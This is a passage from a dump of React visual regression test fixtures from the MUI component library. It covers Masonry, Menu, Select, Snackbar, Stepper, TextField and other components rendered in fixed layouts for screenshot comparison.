    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport { styled } from '@mui/material/styles';\nimport Paper from '@mui/material/Paper';\nimport Masonry from '@mui/lab/Masonry';\n\nconst heights = [\n  150, 30, 90, 70, 110, 150, 130, 80, 50, 90, 100, 150, 30, 50, 80, 150, 30, 90, 70, 110, 150, 130,\n  80, 50, 90, 100, 150, 30, 50, 80, 150, 30, 90, 70, 110, 150, 130, 80, 50, 90, 100, 150, 30, 50,\n  80, 150, 30, 90, 70, 110, 150, 130, 80, 50, 90, 100, 150, 30, 50, 80, 150, 30, 90, 70, 110, 150,\n  130, 80, 50, 90, 100, 150, 30, 50, 80, 150, 30, 90, 70, 110, 150, 130, 80, 50, 90, 100, 150, 30,\n  50, 80, 150, 30, 90, 70, 110, 150, 130, 80, 50, 90, 100, 150, 30, 50, 80, 150, 30, 90, 70, 110,\n  150, 130, 80, 50, 90, 100, 150, 30, 50, 80, 150, 30, 90, 70, 110, 150, 130, 80, 50, 90, 100, 150,\n  30, 50, 80, 150, 30, 90, 70, 110, 150, 130, 80, 50, 90, 100, 150, 30, 50, 80, 150, 30, 90, 70,\n  110, 150, 130, 80, 50, 90, 100, 150, 30, 50, 80, 150, 30, 90, 70, 110, 150, 130, 80, 50, 90, 100,\n  150, 30, 50, 80,\n];\n\nconst Item = styled(Paper)(({ theme }) => ({\n  ...theme.typography.body2,\n  color: theme.palette.text.secondary,\n  border: '1px solid black',\n  display: 'flex',\n  alignItems: 'center',\n  justifyContent: 'center',\n}));\n\nexport default function HeavyMasonry() {\n  return (\n    <Box sx={{ width: 500, minHeight: 393 }}>\n      <Masonry columns={3} spacing={1}>\n        {heights.map((height, index) => (\n          <Item key={index} sx={{ height }}>\n            {index + 1}\n          </Item>\n        ))}\n      </Masonry>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Masonry/ItemsLessThanColumnsMasonry.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport { styled } from '@mui/material/styles';\nimport Paper from '@mui/material/Paper';\nimport Masonry from '@mui/lab/Masonry';\n\nconst heights = [150, 30];\n\nconst Item = styled(Paper)(({ theme }) => ({\n  ...theme.typography.body2,\n  color: theme.palette.text.secondary,\n  border: '1px solid black',\n  display: 'flex',\n  alignItems: 'center',\n  justifyContent: 'center',\n}));\n\nexport default function HeavyMasonry() {\n  return (\n    <Box sx={{ width: 500, minHeight: 393 }}>\n      <Masonry columns={4} spacing={1}>\n        {heights.map((height, index) => (\n          <Item key={index} sx={{ height }}>\n            {index + 1}\n          </Item>\n        ))}\n      </Masonry>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Masonry/RemSpacingValue.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport { styled } from '@mui/material/styles';\nimport Paper from '@mui/material/Paper';\nimport Masonry from '@mui/lab/Masonry';\n\nconst heights = [150, 30, 90, 70, 110, 150, 130, 80, 50, 90, 100, 150, 30, 50, 80];\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(0.5),\n  textAlign: 'center',\n  color: theme.palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function RemSpacingValue() {\n  return (\n    <Box sx={{ width: 500, minHeight: 393 }}>\n      <Masonry columns={4} spacing={'2rem'}>\n        {heights.map((height, index) => (\n          <Item key={index} sx={{ height }}>\n            {index + 1}\n          </Item>\n        ))}\n      </Masonry>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Menu/DenseMenu.js",
    "content": "import * as React from 'react';\nimport Paper from '@mui/material/Paper';\nimport Divider from '@mui/material/Divider';\nimport MenuList from '@mui/material/MenuList';\nimport MenuItem from '@mui/material/MenuItem';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport Check from '@mui/icons-material/Check';\n\nexport default function DenseMenu() {\n  return (\n    <Paper sx={{ width: 320 }}>\n      <MenuList dense>\n        <MenuItem>\n          <ListItemText inset>Single</ListItemText>\n        </MenuItem>\n        <MenuItem>\n          <ListItemText inset>1.15</ListItemText>\n        </MenuItem>\n        <MenuItem>\n          <ListItemText inset>Double</ListItemText>\n        </MenuItem>\n        <MenuItem>\n          <ListItemIcon>\n            <Check />\n          </ListItemIcon>\n          Custom: 1.2\n        </MenuItem>\n        <Divider />\n        <MenuItem>\n          <ListItemText>Add space before paragraph</ListItemText>\n        </MenuItem>\n        <MenuItem>\n          <ListItemText>Add space after paragraph</ListItemText>\n        </MenuItem>\n        <Divider />\n        <MenuItem>\n          <ListItemText>Custom spacing…</ListItemText>\n        </MenuItem>\n      </MenuList>\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Menu/LongMenu.js",
    "content": "import * as React from 'react';\nimport IconButton from '@mui/material/IconButton';\nimport Box from '@mui/material/Box';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport MoreVertIcon from '@mui/icons-material/MoreVert';\n\nconst options = [\n  'None',\n  'Atria',\n  'Callisto',\n  'Dione',\n  'Ganymede',\n  'Hangouts Call',\n  'Luna',\n  'Oberon',\n  'Phobos',\n  'Pyxis',\n  'Sedna',\n  'Titania',\n  'Triton',\n  'Umbriel',\n];\n\nconst ITEM_HEIGHT = 48;\n\nclass LongMenu extends React.Component {\n  buttonRef = React.createRef();\n\n  state = {\n    anchorEl: null,\n  };\n\n  componentDidMount() {\n    this.setState({ anchorEl: this.buttonRef.current });\n  }\n\n  render() {\n    const { anchorEl } = this.state;\n    const open = Boolean(anchorEl);\n\n    return (\n      <Box sx={{ m: '200px 0 200px', background: 'papayawhip', p: '0 100px' }}>\n        <IconButton\n          ref={this.buttonRef}\n          aria-label=\"more\"\n          aria-owns={open ? 'long-menu' : undefined}\n          aria-haspopup=\"true\"\n          onClick={this.handleClick}\n        >\n          <MoreVertIcon />\n        </IconButton>\n        <Menu\n          id=\"long-menu\"\n          anchorEl={anchorEl}\n          open={open}\n          slotProps={{\n            paper: {\n              style: {\n                maxHeight: ITEM_HEIGHT * 4.5,\n                width: 200,\n              },\n            },\n          }}\n        >\n          {options.map((option) => (\n            <MenuItem key={option} selected={option === 'Pyxis'}>\n              {option}\n            </MenuItem>\n          ))}\n        </Menu>\n      </Box>\n    );\n  }\n}\n\nexport default LongMenu;\n"
  },
  {
    "path": "test/regressions/fixtures/Menu/MenuContentAnchors.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Grid from '@mui/material/Grid';\nimport Button from '@mui/material/Button';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport { styled } from '@mui/material/styles';\n\nconst MenuItemStyled = styled(MenuItem)({\n  '&.Mui-focusVisible': { border: '3px dashed black' },\n  '&.Mui-selected': { border: '3px dotted black' },\n  '&.Mui-focusVisible.Mui-selected': { border: '3px solid black' },\n});\n\n/**\n * Item 1 or 2 can be pre-selected to check alignment between anchorEl and menuitem\n */\nfunction SimpleMenu({ selectedItem, ...props }) {\n  const [anchorEl, setAnchorEl] = React.useState(null);\n\n  return (\n    <Grid>\n      <Button\n        style={{\n          // give the anchor enough space so that the menu can align the selected item\n          margin: '80px 0',\n        }}\n        ref={setAnchorEl}\n      >\n        open button\n      </Button>\n      <Menu anchorEl={anchorEl} open={Boolean(anchorEl)} transitionDuration={0} {...props}>\n        {null}\n        <MenuItemStyled selected={selectedItem === 1}>Item 1</MenuItemStyled>\n        <MenuItemStyled selected={selectedItem === 2}>Item 2</MenuItemStyled>\n        <MenuItemStyled>Item 3</MenuItemStyled>\n      </Menu>\n    </Grid>\n  );\n}\n\nSimpleMenu.propTypes = { selectedItem: PropTypes.number };\n\nexport default function MenuContentAnchors() {\n  return (\n    <Grid container>\n      <SimpleMenu variant=\"selectedMenu\" />\n      <SimpleMenu variant=\"menu\" />\n      <SimpleMenu selectedItem={1} variant=\"selectedMenu\" />\n      <SimpleMenu selectedItem={1} variant=\"menu\" />\n      <SimpleMenu selectedItem={2} variant=\"selectedMenu\" />\n      <SimpleMenu selectedItem={2} variant=\"menu\" />\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Menu/SimpleMenuList.js",
    "content": "import * as React from 'react';\nimport Paper from '@mui/material/Paper';\nimport MenuList from '@mui/material/MenuList';\nimport MenuItem from '@mui/material/MenuItem';\n\nexport default function SimpleMenuList() {\n  return (\n    <Paper elevation={8}>\n      <MenuList>\n        <MenuItem>Profile</MenuItem>\n        <MenuItem selected>My Account</MenuItem>\n        <MenuItem>Logout</MenuItem>\n      </MenuList>\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Radio/RadioDisabledState.js",
    "content": "import * as React from 'react';\nimport Radio from '@mui/material/Radio';\n\nexport default function RadioDisabledState() {\n  const [selectedValue, setSelectedValue] = React.useState('a');\n\n  const handleChange = (event) => {\n    setSelectedValue(event.target.value);\n  };\n\n  return (\n    <div>\n      <Radio\n        disabled\n        checked={selectedValue === 'a'}\n        onChange={handleChange}\n        value=\"a\"\n        name=\"radio-buttons\"\n        inputProps={{ 'aria-label': 'A' }}\n      />\n      <Radio\n        disabled\n        checked={selectedValue === 'b'}\n        onChange={handleChange}\n        value=\"b\"\n        name=\"radio-buttons\"\n        inputProps={{ 'aria-label': 'B' }}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Radio/RadioIconSizeSmall.js",
    "content": "import * as React from 'react';\nimport Radio from '@mui/material/Radio';\nimport RadioButtonUncheckedIcon from '@mui/icons-material/RadioButtonUnchecked';\n\nexport default function RadioIconSizeSmall() {\n  return (\n    <div>\n      <Radio size=\"small\" />\n      <Radio size=\"small\" icon={<RadioButtonUncheckedIcon />} />\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Rating/FocusVisibleRating.js",
    "content": "import * as React from 'react';\nimport Rating from '@mui/material/Rating';\n\nexport default function FocusVisibleRating() {\n  return <Rating name=\"no-value\" value={null} />;\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Rating/PreciseFocusVisibleRating.js",
    "content": "import * as React from 'react';\nimport Rating from '@mui/material/Rating';\n\nexport default function FocusVisibleRating() {\n  return <Rating name=\"no-value-precise\" precision={0.5} value={0.5} />;\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Select/SelectAlignment.js",
    "content": "import * as React from 'react';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormHelperText from '@mui/material/FormHelperText';\nimport FormControl from '@mui/material/FormControl';\nimport Select from '@mui/material/Select';\n\nexport default function SelectAlignment() {\n  return (\n    <div>\n      <FormControl>\n        <InputLabel htmlFor=\"age1\">Age</InputLabel>\n        <Select\n          value=\"\"\n          label=\"Age\"\n          id=\"age1\"\n          fullWidth\n          input={<OutlinedInput name=\"age1\" label=\"year\" id=\"age1\" />}\n        >\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={10}>Ten</MenuItem>\n        </Select>\n      </FormControl>\n      <FormControl>\n        <InputLabel htmlFor=\"age2\">year</InputLabel>\n        <Select value={10} input={<OutlinedInput label=\"year\" name=\"year\" id=\"age2\" />}>\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={10}>Ten</MenuItem>\n        </Select>\n      </FormControl>\n      <FormControl>\n        <InputLabel htmlFor=\"name-input\">Name</InputLabel>\n        <OutlinedInput id=\"name-input\" />\n        <FormHelperText>Alignment with an input</FormHelperText>\n      </FormControl>\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Select/SelectChips.js",
    "content": "import * as React from 'react';\nimport MenuItem from '@mui/material/MenuItem';\nimport Select from '@mui/material/Select';\nimport Chip from '@mui/material/Chip';\n\nconst values = ['I', 'Do not', 'Overflow'];\n\nexport default function SelectChips() {\n  return (\n    <Select\n      multiple\n      value={values}\n      style={{ maxWidth: 100 }}\n      renderValue={(selected) => (\n        <div style={{ display: 'flex', flexWrap: 'wrap' }}>\n          {selected.map((value) => (\n            <Chip key={value} label={value} style={{ margin: 2 }} />\n          ))}\n        </div>\n      )}\n    >\n      {values.map((value) => (\n        <MenuItem key={value} value={value}>\n          {value}\n        </MenuItem>\n      ))}\n    </Select>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Select/SelectMissingValue.js",
    "content": "import * as React from 'react';\nimport MenuItem from '@mui/material/MenuItem';\nimport Select from '@mui/material/Select';\n\nexport default function SelectMissingValue() {\n  return (\n    <Select value={0}>\n      <MenuItem value={0} />\n      <MenuItem value={10}>Ten</MenuItem>\n    </Select>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Select/SelectOverflow.js",
    "content": "import * as React from 'react';\nimport MenuItem from '@mui/material/MenuItem';\nimport Select from '@mui/material/Select';\n\nexport default function SelectOverflow() {\n  return (\n    <Select value={10} style={{ maxWidth: 100 }}>\n      <MenuItem value=\"\">\n        <em>None</em>\n      </MenuItem>\n      <MenuItem value={10}>Tennnnnnn</MenuItem>\n    </Select>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Skeleton/SkeletonChildren.js",
    "content": "import * as React from 'react';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Typography from '@mui/material/Typography';\nimport Avatar from '@mui/material/Avatar';\nimport Skeleton from '@mui/material/Skeleton';\n\nexport default function SkeletonChildren() {\n  return (\n    <React.Fragment>\n      <CssBaseline />\n      <div style={{ alignItems: 'center', display: 'flex', width: '200px' }}>\n        <div style={{ margin: '8px' }}>\n          <Skeleton variant=\"circular\">\n            <Avatar />\n          </Skeleton>\n        </div>\n        <div style={{ width: '100%' }}>\n          <Skeleton width=\"100%\">\n            <Typography>.</Typography>\n          </Skeleton>\n        </div>\n      </div>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Slider/SimpleDisabledSlider.js",
    "content": "import * as React from 'react';\nimport Slider from '@mui/material/Slider';\n\nexport default function SimpleDisabledSlider() {\n  return (\n    <div style={{ width: 300, paddingTop: 50 }}>\n      <Slider defaultValue={30} valueLabelDisplay=\"on\" disabled />\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Snackbar/PositionedSnackbar.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Snackbar from '@mui/material/Snackbar';\n\nexport default function PositionedSnackbar() {\n  return (\n    <Box dir=\"ltr\" sx={{ width: window?.innerWidth, height: '100vh' }}>\n      <Snackbar\n        key=\"left\"\n        anchorOrigin={{ horizontal: 'left', vertical: 'bottom' }}\n        message=\"Snackbar should show left (LTR)\"\n        open\n      />\n      <Snackbar\n        key=\"right\"\n        anchorOrigin={{ horizontal: 'right', vertical: 'top' }}\n        message=\"Snackbar should show right (LTR)\"\n        open\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Snackbar/PositionedSnackbarRtl.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport { prefixer } from 'stylis';\nimport rtlPlugin from '@mui/stylis-plugin-rtl';\nimport { StyleSheetManager } from 'styled-components';\nimport { CacheProvider } from '@emotion/react';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport createCache from '@emotion/cache';\nimport Snackbar from '@mui/material/Snackbar';\n\n// Create rtl cache\nconst cacheRtl = createCache({\n  key: 'muirtl',\n  stylisPlugins: [prefixer, rtlPlugin],\n});\n\nconst theme = createTheme({ direction: 'rtl' });\n\nexport default function PositionedSnackbar() {\n  return (\n    <StyleSheetManager stylisPlugins={[rtlPlugin]}>\n      <CacheProvider value={cacheRtl}>\n        <ThemeProvider theme={theme}>\n          <Box dir=\"rtl\" sx={{ width: window?.innerWidth, height: '100vh' }}>\n            <Snackbar\n              key=\"left\"\n              anchorOrigin={{ horizontal: 'left', vertical: 'bottom' }}\n              message=\"Snackbar should show right (RTL)\"\n              open\n            />\n            <Snackbar\n              key=\"right\"\n              anchorOrigin={{ horizontal: 'right', vertical: 'top' }}\n              message=\"Snackbar should show left (RTL)\"\n              open\n            />\n          </Box>\n        </ThemeProvider>\n      </CacheProvider>\n    </StyleSheetManager>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/SpeedDial/Directions.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Avatar from '@mui/material/Avatar';\nimport Box from '@mui/material/Box';\nimport SpeedDial from '@mui/material/SpeedDial';\nimport SpeedDialIcon from '@mui/material/SpeedDialIcon';\nimport SpeedDialAction from '@mui/material/SpeedDialAction';\n\nfunction SimpleSpeedDial(props) {\n  const tooltipPlacement = {\n    up: 'left',\n    right: 'top',\n    down: 'right',\n    left: 'bottom',\n  };\n\n  return (\n    <SpeedDial icon={<SpeedDialIcon />} open {...props}>\n      {['A', 'B', 'C'].map((name) => (\n        <SpeedDialAction\n          key={name}\n          icon={<Avatar>{name}</Avatar>}\n          slotProps={{\n            tooltip: {\n              open: true,\n              placement: tooltipPlacement[props.direction],\n              title: 'Tooltip',\n            },\n          }}\n        />\n      ))}\n    </SpeedDial>\n  );\n}\n\nSimpleSpeedDial.propTypes = {\n  direction: PropTypes.string.isRequired,\n};\n\nfunction Directions() {\n  return (\n    <Box sx={{ position: 'relative', height: 360, width: 400 }}>\n      {['up', 'down'].map((direction) => (\n        <SimpleSpeedDial\n          sx={{\n            position: 'absolute',\n            ...(direction === 'up' && { bottom: 0, right: 0 }),\n            ...(direction === 'down' && { top: 0, left: 0 }),\n          }}\n          key={direction}\n          ariaLabel={direction}\n          direction={direction}\n        />\n      ))}\n    </Box>\n  );\n}\n\nexport default Directions;\n"
  },
  {
    "path": "test/regressions/fixtures/StepIcon/BiggerStepIconREM.js",
    "content": "import * as React from 'react';\nimport StepIcon from '@mui/material/StepIcon';\nimport GlobalStyles from '@mui/material/GlobalStyles';\n\nexport default function BiggerStepIconREM() {\n  return (\n    <React.Fragment>\n      <GlobalStyles\n        styles={{\n          html: { fontSize: '24px' },\n        }}\n      />\n      <StepIcon completed icon={1} />\n      <StepIcon icon={2} />\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/StepLabel/AlternativeLabelOptionalText.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Stepper from '@mui/material/Stepper';\nimport Step from '@mui/material/Step';\nimport StepLabel from '@mui/material/StepLabel';\n\nconst steps = ['Select master blaster campaign settings', 'Create an ad group', 'Create an ad'];\n\nexport default function AlternativeLabelOptionalText() {\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Stepper activeStep={1} alternativeLabel>\n        {steps.map((label) => (\n          <Step key={label} expanded>\n            <StepLabel optional=\"optional\">{label}</StepLabel>\n          </Step>\n        ))}\n      </Stepper>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/StepLabel/NoShrinkIcon.js",
    "content": "import * as React from 'react';\nimport Stepper from '@mui/material/Stepper';\nimport Step from '@mui/material/Step';\nimport StepLabel from '@mui/material/StepLabel';\n\nfunction TestIcon() {\n  return <div style={{ border: '1px solid red' }}>should not shrink</div>;\n}\n\nconst steps = ['Step 1', 'Step 2'];\n\nexport default function NoShrinkIcon() {\n  return (\n    <Stepper sx={{ width: 200 }}>\n      {steps.map((label) => (\n        <Step key={label}>\n          <StepLabel slots={{ stepIcon: TestIcon }} sx={{ width: '1px' }}>\n            {label}\n          </StepLabel>\n        </Step>\n      ))}\n    </Stepper>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/SvgIcon/CustomColorSvgIcon.js",
    "content": "import * as React from 'react';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport SvgIcon from '@mui/material/SvgIcon';\n\nfunction FavoriteRounded(props) {\n  return (\n    <SvgIcon {...props}>\n      <path d=\"M13.35 20.13c-.76.69-1.93.69-2.69-.01l-.11-.1C5.3 15.27 1.87 12.16 2 8.28c.06-1.7.93-3.33 2.34-4.29 2.64-1.8 5.9-.96 7.66 1.1 1.76-2.06 5.02-2.91 7.66-1.1 1.41.96 2.28 2.59 2.34 4.29.14 3.88-3.3 6.99-8.55 11.76l-.1.09z\" />\n    </SvgIcon>\n  );\n}\n\nexport default function CustomColorSvgIcon() {\n  const theme = createTheme({\n    palette: {\n      custom: { main: '#ec407a' },\n    },\n  });\n\n  return (\n    <ThemeProvider theme={theme}>\n      <FavoriteRounded fontSize=\"large\" />\n      <FavoriteRounded fontSize=\"large\" color=\"secondary\" />\n      <FavoriteRounded fontSize=\"large\" color=\"custom\" />\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Table/DenseCheckboxTable.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Checkbox from '@mui/material/Checkbox';\nimport Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableHead from '@mui/material/TableHead';\nimport TableRow from '@mui/material/TableRow';\nimport Paper from '@mui/material/Paper';\n\nlet id = 0;\nfunction createData(name, calories, fat, carbs, protein) {\n  id += 1;\n  return { id, name, calories, fat, carbs, protein };\n}\n\nconst rows = [\n  createData('Frozen yoghurt', 159, 6.0, 24, 4.0),\n  createData('Ice cream sandwich', 237, 9.0, 37, 4.3),\n  createData('Eclair', 262, 16.0, 24, 6.0),\n  createData('Cupcake', 305, 3.7, 67, 4.3),\n  createData('Gingerbread', 356, 16.0, 49, 3.9),\n];\n\nfunction DenseCheckboxTable() {\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Paper sx={{ mt: 3, width: '100%', overflowX: 'auto', mb: 2 }}>\n        <Table sx={{ minWidth: 650 }} size=\"small\">\n          <TableHead>\n            <TableRow>\n              <TableCell padding=\"checkbox\">\n                <Checkbox />\n              </TableCell>\n              <TableCell padding=\"none\">Dessert (100g serving)</TableCell>\n              <TableCell align=\"right\">Calories</TableCell>\n              <TableCell align=\"right\">Fat&nbsp;(g)</TableCell>\n              <TableCell align=\"right\">Carbs&nbsp;(g)</TableCell>\n              <TableCell align=\"right\">Protein&nbsp;(g)</TableCell>\n            </TableRow>\n          </TableHead>\n          <TableBody>\n            {rows.map((row) => (\n              <TableRow key={row.id}>\n                <TableCell padding=\"checkbox\">\n                  <Checkbox />\n                </TableCell>\n                <TableCell padding=\"none\" component=\"th\" scope=\"row\">\n                  {row.name}\n                </TableCell>\n                <TableCell align=\"right\">{row.calories}</TableCell>\n                <TableCell align=\"right\">{row.fat}</TableCell>\n                <TableCell align=\"right\">{row.carbs}</TableCell>\n                <TableCell align=\"right\">{row.protein}</TableCell>\n              </TableRow>\n            ))}\n          </TableBody>\n        </Table>\n      </Paper>\n    </Box>\n  );\n}\n\nexport default DenseCheckboxTable;\n"
  },
  {
    "path": "test/regressions/fixtures/Tabs/RTLVerticalTabs.js",
    "content": "import * as React from 'react';\nimport { prefixer } from 'stylis';\nimport rtlPlugin from '@mui/stylis-plugin-rtl';\nimport { CacheProvider } from '@emotion/react';\nimport createCache from '@emotion/cache';\nimport { StyleSheetManager } from 'styled-components';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\n\n// Create rtl cache\nconst cacheRtl = createCache({\n  key: 'muirtl',\n  stylisPlugins: [prefixer, rtlPlugin],\n});\n\nexport default function RTLVerticalTabs() {\n  return (\n    <StyleSheetManager stylisPlugins={[rtlPlugin]}>\n      <CacheProvider value={cacheRtl}>\n        <ThemeProvider theme={createTheme({ direction: 'rtl' })}>\n          <Box dir=\"rtl\" sx={{ height: 200, display: 'flex' }}>\n            <Tabs value={2} variant=\"scrollable\" scrollButtons orientation=\"vertical\">\n              <Tab label=\"Tab A\" />\n              <Tab label=\"Tab B\" />\n              <Tab label=\"Tab C\" />\n              <Tab label=\"Tab D\" />\n              <Tab label=\"Tab E\" />\n            </Tabs>\n          </Box>\n        </ThemeProvider>\n      </CacheProvider>\n    </StyleSheetManager>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/TextField/BaselineAlignTextField.js",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\nimport Visibility from '@mui/icons-material/Visibility';\nimport InputAdornment from '@mui/material/InputAdornment';\n\nexport default function BaselineAlignTextField() {\n  return (\n    <div>\n      <div\n        style={{\n          display: 'flex',\n          flexDirection: 'row',\n          alignItems: 'baseline',\n        }}\n      >\n        Base\n        <TextField\n          label=\"label\"\n          placeholder=\"placeholder\"\n          variant=\"standard\"\n          slotProps={{\n            input: {\n              startAdornment: (\n                <InputAdornment position=\"start\">\n                  <Visibility />\n                </InputAdornment>\n              ),\n            },\n          }}\n        />\n        Base\n      </div>\n      <div\n        style={{\n          display: 'flex',\n          flexDirection: 'row',\n          alignItems: 'baseline',\n        }}\n      >\n        Base\n        <TextField\n          label=\"label\"\n          placeholder=\"placeholder\"\n          variant=\"standard\"\n          slotProps={{\n            input: {\n              endAdornment: (\n                <InputAdornment position=\"end\">\n                  <Visibility />\n                </InputAdornment>\n              ),\n            },\n          }}\n        />\n        Base\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/TextField/ConstrainedTextField.js",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\n\n// TextField shouldn't overflow the red bordered container\nexport default function ConstrainedTextField() {\n  return (\n    <div\n      style={{\n        width: 100,\n        border: '1px solid red',\n      }}\n    >\n      <TextField label=\"Outlined\" variant=\"outlined\" />\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/TextField/FilledHiddenLabelInputAdornment.js",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\nimport InputAdornment from '@mui/material/InputAdornment';\n\nexport default function FilledHiddenLabelInputAdornment() {\n  return (\n    <TextField\n      hiddenLabel\n      id=\"filled-hidden-label\"\n      defaultValue=\"Value\"\n      variant=\"filled\"\n      slotProps={{\n        input: {\n          startAdornment: <InputAdornment position=\"start\">kg</InputAdornment>,\n        },\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/TextField/FilledMultilineHiddenLabelTextField.js",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\n\nexport default function FilledMultilineHiddenLabelTextField() {\n  return (\n    <div>\n      <TextField\n        variant=\"filled\"\n        defaultValue=\"Multiline Default Value\"\n        multiline\n        rows={1}\n        hiddenLabel\n      />\n      <TextField variant=\"filled\" defaultValue=\"Default Value\" hiddenLabel />\n      <TextField\n        variant=\"filled\"\n        defaultValue=\"Multiline Default Value\"\n        multiline\n        rows={1}\n        hiddenLabel\n        size=\"small\"\n      />\n      <TextField variant=\"filled\" defaultValue=\"Default Value\" hiddenLabel size=\"small\" />\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/TextField/MultilineTextField.js",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\n\nexport default function MultilineTextField() {\n  return (\n    <div>\n      <TextField label=\"multiline small\" multiline size=\"small\" />\n      <TextField label=\"singleline small\" size=\"small\" />\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/TextField/OutlinedHiddenRequiredIndicator.js",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\n\nexport default function OutlinedHiddenRequiredIndicator() {\n  return (\n    <TextField\n      label=\"Name\"\n      variant=\"outlined\"\n      required\n      slotProps={{\n        inputLabel: {\n          shrink: true,\n          required: false,\n        },\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/TextField/StandardTextField.js",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\n\nexport default function StandardTextField() {\n  return (\n    <div>\n      <div>\n        <TextField label=\"Standard\" variant=\"standard\" />\n        <TextField label=\"Standard disabled\" variant=\"standard\" disabled />\n        <TextField label=\"Standard error\" variant=\"standard\" error />\n        <TextField label=\"Standard required\" variant=\"standard\" required />\n      </div>\n      <div>\n        <TextField value=\"Material\" label=\"Standard\" variant=\"standard\" />\n        <TextField value=\"Material\" label=\"Standard disabled\" variant=\"standard\" disabled />\n        <TextField value=\"Material\" label=\"Standard error\" variant=\"standard\" error />\n        <TextField value=\"Material\" label=\"Standard required\" variant=\"standard\" required />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Textarea/Textarea.js",
    "content": "import * as React from 'react';\nimport Input from '@mui/material/Input';\n\nfunction Textarea() {\n  const [value, setValue] = React.useState(\n    `Hey, sorry for being late to respond. Here is a codesandbox. It actually happens when I reduce the font-size of the input. Try adding some text or paste a long paragraph and you will the bottom margin being increased. It works fine with the default font-size.`,\n  );\n\n  const handleChange = (event) => {\n    setValue(event.target.value);\n  };\n\n  return (\n    <div>\n      <Input\n        sx={{\n          width: 200,\n          '& .MuiInput-input': {\n            fontSize: 13,\n            boxSizing: 'border-box',\n            border: '10px solid black',\n          },\n        }}\n        multiline\n        value={value}\n        onChange={handleChange}\n      />\n      <Input\n        sx={{\n          width: 200,\n          '& .MuiInput-input': { fontSize: 13, boxSizing: 'content-box', padding: '10px' },\n        }}\n        multiline\n        value={value}\n        onChange={handleChange}\n      />\n      <Input style={{ width: 200 }} multiline placeholder=\"rows\" rows={3} />\n      <Input style={{ width: 200 }} multiline value={value} onChange={handleChange} maxRows={4} />\n      <Input style={{ width: 200 }} multiline 